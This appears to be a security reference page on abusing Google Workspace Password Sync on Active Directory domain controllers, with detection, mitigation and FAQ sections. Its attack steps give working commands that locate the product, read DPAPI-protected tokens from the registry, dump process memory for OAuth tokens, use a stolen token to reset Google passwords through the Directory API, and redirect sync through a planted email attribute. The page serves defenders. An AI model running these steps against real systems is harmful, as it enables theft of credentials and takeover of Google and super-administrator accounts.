How it works
Password Sync keeps Google Workspace and Cloud Identity passwords equal to Active Directory passwords. It only works in one direction: a password change in AD is pushed to the matching Google account. It never changes an AD password.
AD passwords can't be read back through LDAP or any other interface, so the product captures them at the moment they are set. Google describes the flow:
- A password change reaches a writable domain controller.
- Windows calls
password_sync_dll.dll, which is installed as an LSA notification package. This is the same Windows interface that a malicious password filter DLL abuses. - The DLL hashes the password with salted SHA-512 and passes the hash and the username to the service,
password_sync_service.exe. - The service looks up the user's email address in AD over LDAP. The attribute is configurable and is usually
mail. Its value must match the Google email address exactly. - The service updates that Google account's password through the Directory API.
Because the domain controller that receives the change triggers the sync, the product has to be installed on every writable domain controller. Each of them therefore holds a Google credential that can set user passwords. Google supports two authentication methods:
- Service account. A JSON key of a Google Cloud service account whose client ID a super administrator authorized for domain-wide delegation with the scope
https://www.googleapis.com/auth/admin.directory.user. The same key can be loaded on every domain controller. Google tells administrators to remove the file from the system after authentication, because it contains a key that grants access to the domain. - 3-legged OAuth. A super administrator signs in on each domain controller and approves access. Google notes that authorization is typically blocked when the account is not a super administrator.
In both cases the configuration names a Google administrator address that the service uses for password updates and that appears in the audit log as the actor.
This leaves several ways to abuse the product without changing how it works, and one that does change it:
- Steal the Google credential. Public research and the WinPEAS source show the registry key
HKLM\Software\Google\Google Apps Password Syncholding anAuthTokenvalue and, when the service was given an AD account for lookups, anADPasswordvalue. Both are protected with DPAPI and a fixed extra entropy value, so an administrator on the server can decrypt them. A leftover service account JSON file is worth more: with domain-wide delegation it can act as any user for the granted scope. - Redirect the target. The service trusts the email attribute. If an attacker writes a victim's Google address into the configured attribute of an AD account they control and then sets that account's password, Password Sync pushes the new password to the victim's Google account.
- Create a gap. A password changed on a domain controller without a working installation never reaches Google. The Google account keeps the old password, which may be one the attacker already knows.
- Alter the mechanism. Changing the configured attribute, base DN or administrator address, or adding another notification package next to Google's, changes the authentication process itself. Only this last group is ATT&CK's Modify Authentication Process; ordinary synchronization is not.
Prerequisites
For the credential theft path:
- Local administrator rights on a domain controller (or another host) where Password Sync is installed and authorized.
For the redirection path:
- Write access to the configured email attribute (by default
mail) of an AD user inside the Password Sync base DN, and the ability to set or change that user's password. An account the attacker already owns and can edit is enough. - A target Google account whose address the attribute can be set to.
For both, the Google authorization must still be valid.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Find the installation
# The notification package list of this domain controller
Get-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Lsa' -Name 'Notification Packages'
# Configuration tool and service processes
Get-Process -Name 'PasswordSync', 'password_sync_service' -ErrorAction SilentlyContinue
# Settings: base DN, the authorized administrator, the AD access method
Get-Content 'C:\ProgramData\Google\Google Apps Password Sync\config.xml'
The product has been installed under several names over the years. Check C:\Program Files\Google\Password Sync, G Suite Password Sync and Google Apps Password Sync.
2. Read the stored credentials
reg query "HKLM\Software\Google\Google Apps Password Sync"
dir /s /b C:\Users\*.json C:\ProgramData\*.json
The first command shows AuthToken, ADPassword and, for a service account setup, the service account's email address. The second looks for a service account key that was left behind after configuration. WinPEAS, run as administrator, decrypts AuthToken and ADPassword itself: it calls DPAPI with the product's fixed entropy bytes, and decodes the token from base32hex.
Tokens that are in use can also be taken from memory:
foreach ($name in 'PasswordSync', 'password_sync_service') {
Get-Process -Name $name -ErrorAction SilentlyContinue | ForEach-Object {
.\procdump.exe -accepteula -ma $_.Id "C:\Windows\Temp\$($name)_$($_.Id).dmp"
}
}
Get-ChildItem C:\Windows\Temp\*.dmp | ForEach-Object {
.\strings.exe -accepteula -n 50 -nobanner $_.FullName | Select-String 'ya29\.|1//'
}
3. Use the credential against the Directory API
A refresh token from a 3-legged OAuth setup is exchanged with the client ID and secret of the OAuth client that issued it:
curl -s https://oauth2.googleapis.com/token \
--data "client_id=<OAUTH_CLIENT_ID>" \
--data "client_secret=<OAUTH_CLIENT_SECRET>" \
--data "grant_type=refresh_token" \
--data "refresh_token=<REFRESH_TOKEN>"
A service account key is used through domain-wide delegation: the attacker signs a token request that names an administrator as the subject, as described in domain-wide delegation abuse. Either way the result is an access token with the admin.directory.user scope:
# Set a new password on any user the impersonated administrator can manage
curl -s -X PUT "https://admin.googleapis.com/admin/directory/v1/users/alice@corp.example.com" \
-H "Authorization: Bearer $ACCESS_TOKEN" -H "Content-Type: application/json" \
-d '{"password":"<NEW_PASSWORD>","changePasswordAtNextLogin":false}'
4. Variant: let Password Sync set the password for you
No access to a domain controller is needed for this path, only the AD rights from the prerequisites.
# Point a controlled account's email attribute at the victim's Google address
Set-ADUser -Identity 'svc-sql' -EmailAddress 'admin@corp.example.com'
# Change the controlled account's password; the DC that takes the change triggers the sync
Set-ADAccountPassword -Identity 'svc-sql' -Reset `
-NewPassword (Read-Host -AsSecureString 'New password')
The service looks up svc-sql, reads the planted address, and sets the password on that Google account. The attacker then signs in to Google with the password they chose and restores the attribute.
Impact
- Any Google account's password. A token or key with
admin.directory.userand an administrator's authority resets passwords at will. With a domain-wide delegation key the attacker picks which administrator to act as. The same scope coversusers.makeAdmin, which makes a user a super administrator. - Super administrators are in reach. They sign in with the Google password even where single sign-on is configured, so a password set through Password Sync is a working credential for the Admin console, subject to 2-Step Verification.
- A foothold that survives. A service account key does not expire by default, and the same file can be reused on every domain controller, so one copy outlives the cleanup of any single server.
- AD credentials. The
ADPasswordvalue is the password of the account the service uses for directory lookups. - Side effects. When a password is changed through the Directory API, some application OAuth tokens of that user are revoked, and the user may have to sign in again. Victims notice sign-outs.
OPSEC and artifacts
- Stealing the credential instead of redirecting. Reading a registry key and a file on a server the attacker already administers writes no event unless registry auditing covers the key (event 4657 records value changes, not reads). Process dumps leave
procdump.exeexecutions and dump files. - Using the credential from elsewhere. Every password update is an admin audit event, changePassword, under the administrator address that Password Sync is configured with. The actor looks normal. What differs is the caller address, and the fact that no AD password change matches it.
- Redirecting through the mail attribute. The Google event is indistinguishable from a legitimate sync. The traces are in AD: a change of the email attribute in event 5136 (with directory change auditing and a SACL), followed by a password reset in event 4724 or a change in event 4723 for the same object, and usually a second 5136 when the attribute is put back.
- The victim's view. The victim's Google password stops working and some of their app sessions end.
- Password Sync's own logs record each update attempt and its result on the domain controller that handled it.
Detection
- Google password changes without an AD counterpart. For every
changePasswordevent whose actor is the Password Sync administrator, there should be a password change or reset on a domain controller, seconds earlier, for the AD user whose email attribute equals the target address. An update that has no match, or that comes from an address that is not a domain controller, points to a stolen credential. The admin password reset rules select the Google events.
logName="organizations/000000000000/logs/cloudaudit.googleapis.com%2Factivity"
protoPayload.serviceName="admin.googleapis.com"
protoPayload.methodName="google.admin.AdminService.changePassword"
protoPayload.authenticationInfo.principalEmail="password-sync-admin@corp.example.com"
- Sync-driven changes to privileged Google accounts. Super administrators and other Workspace administrators should not be synchronized from AD at all. Any password change of an administrator account by the Password Sync identity deserves an alert.
- Email attribute changes. Alert on a change of the configured attribute to an address that already belongs to another AD user or to a Google administrator, and on an attribute change followed within minutes by a password set on the same object. For AD accounts that are privileged, the privileged account password reset rules apply as well.
- New delegation grants. A second client authorized for
admin.directory.useris covered by the domain-wide delegation rules. - On domain controllers. Monitor the
Notification Packagesvalue for additions, the Password Sync registry key andconfig.xmlfor changes, and process access toPasswordSync.exeandpassword_sync_service.exe. - Coverage. Keep an inventory of writable domain controllers against Password Sync installations and health. A controller without a working installation produces AD password changes that never reach Google.
Mitigation
- Do not synchronize administrators. Keep Google super administrators and delegated administrators as cloud-only accounts whose addresses exist on no AD object, and exclude privileged AD accounts from the Password Sync base DN.
- Protect the email attribute. Limit who can write the configured attribute on users inside the base DN, and treat that right like the right to reset passwords. Review delegations on the OUs involved.
- Remove the service account key from every domain controller after configuration, as Google instructs, and keep the only copy in a secret store. Rotate the key on a schedule and after any domain controller compromise.
- Limit the Google authority. Authorize only the
admin.directory.userscope for the client, and give the administrator address that Password Sync acts as no more than the user management rights it needs wherever the authentication method allows it. - Protect the domain controllers. Everything on this page starts from Tier 0 access or from delegated rights in AD. Use the application's security context (the default, which runs lookups as NetworkService) rather than a stored AD account, so there is no
ADPasswordto steal. - Audit both sides. Enable directory service change auditing with a SACL for the email attribute and account management auditing on domain controllers; the Active Directory audit policy guide covers the settings. Share Workspace audit logs to a place where they can be joined with the AD events.
- Require 2-Step Verification with security keys for every administrator, so that a password set by an attacker is not enough on its own.
Detection rules for this attack
Log events to collect
FAQ
How does Password Sync capture Active Directory passwords?
It installs a DLL, password_sync_dll.dll, as an LSA notification package on each writable domain controller. Windows calls the DLL whenever a password is set or changed. The DLL hashes the new password with salted SHA-512 and hands it to the Password Sync service, which looks up the user's email address in AD and updates the Google account through the Directory API.
Is normal Password Sync activity an attack technique?
No. A password change that flows from AD to the matching Google account is the product working as designed. It becomes an attack when the stored Google credential is stolen and used elsewhere, when the mapping is bent so that a password lands on someone else's Google account, or when the configuration or the notification package list on the domain controller is altered.
Can Password Sync change a super administrator's Google password?
Yes, if the mapping points at it. The service updates whichever Google account matches the email address it reads from the configured AD attribute, and it acts with the authority of the administrator it was authorized as. Super administrators also keep signing in with their Google password when single sign-on is configured, so that password matters.
What should be rotated after a domain controller with Password Sync is compromised?
Delete the service account key or revoke the OAuth authorization that Password Sync used and authorize again from a rebuilt server, change the password of any AD account stored for directory lookups, and review every Google password change made by the Password Sync identity during the exposure period.
References
- How does Password Sync work? (Google Workspace Admin Help)
- Configure Password Sync (Google Workspace Admin Help)
- Create a service account for Password Sync (Google Workspace Admin Help)
- GPS - Google Password Sync (HackTricks Cloud)
- Unsecured Credentials: Credentials in Registry, T1552.002 (MITRE ATT&CK)
- Modify Authentication Process, T1556 (MITRE ATT&CK)
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.